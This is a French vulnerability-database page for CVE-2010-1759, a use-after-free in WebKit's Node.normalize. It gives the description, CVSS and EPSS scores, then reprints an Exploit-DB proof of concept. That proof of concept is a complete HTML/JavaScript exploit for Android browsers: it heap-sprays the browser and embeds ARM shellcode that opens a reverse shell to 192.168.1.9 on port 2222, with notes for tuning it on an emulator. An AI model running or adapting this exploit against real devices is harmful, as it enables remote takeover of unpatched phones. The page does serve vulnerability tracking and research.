CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Use-after-free vulnerability in WebKit in Apple Safari before 5.0 on Mac OS X 10.5 through 10.6 and Windows, and before 4.1 on Mac OS X 10.4, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via vectors related to the Node.normalize method.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
7.68%
–
–
2022-03-13
–
–
7.68%
–
–
2022-04-03
–
–
7.68%
–
–
2022-07-17
–
–
7.68%
–
–
2023-03-12
–
–
–
13.98%
–
2024-03-03
–
–
–
13.98%
–
2024-06-02
–
–
–
13.98%
–
2024-11-03
–
–
–
10.38%
–
2024-12-22
–
–
–
9.08%
–
2025-01-19
–
–
–
9.08%
–
2025-03-18
–
–
–
–
32.32%
2025-03-30
–
–
–
–
34.77%
2025-03-30
–
–
–
–
34.77,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2012-01-31 23h00 +00:00 Auteur : MJ Keith EDB Vérifié : No
<!--
CVE-2010-1759 webkit normalize bug
Tested on
Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :)
2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone
Author: MJ Keith mjkeith[at]evilhippie.org
-->
<p>LOADING... </p>
<div id="test1"></div>
<div id="test2"></div>
<div id="test3"></div>
<script>
var elem1 = document.getElementById("test1");
var elem2 = document.getElementById("test2");
var elem3 = document.getElementById("test3");
function spray()
{
for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR
var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
shell += unescape("\uae08"); // Port = 2222
shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR
shell += unescape("\u2000\u2000"); // Port = 2222
do
{
scode += scode;
scode2 += scode2;
} while (scode.length<=0x1000);
scode2 += shell
target = new Array();
for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR
if (i<100){ target[i] = scode;}
if (i>100){ target[i] = scode2;}
document.write(target[i]);
document.write("<br />");
if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR
document.write("<br />");}
}
}
function handler1()
{
elem1.removeAttribute("b");
spray();
}
function handler2()
{
elem2.removeAttribute("b");
spray();
}
function handler3()
{
elem3.removeAttribute("b");
spray();
}
function slowdown()
{
for (var i = 0; i < 120; i++) { console.log('slow' + i);
if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize();
}
}
}
elem1.setAttribute("b", "a");
elem1.attributes[0].appendChild(document.createTextNode("hi"));
elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
document.body.offsetTop;
slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR
//elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR
document.body.offsetTop;
elem2.setAttribute("b", "a");
elem2.attributes[0].appendChild(document.createTextNode("hi"));
elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false);
document.body.offsetTop;
elem2.normalize();
elem3.setAttribute("b", "a");
elem3.attributes[0].appendChild(document.createTextNode("hi"));
elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false);
document.body.offsetTop;
elem3.normalize();
</script>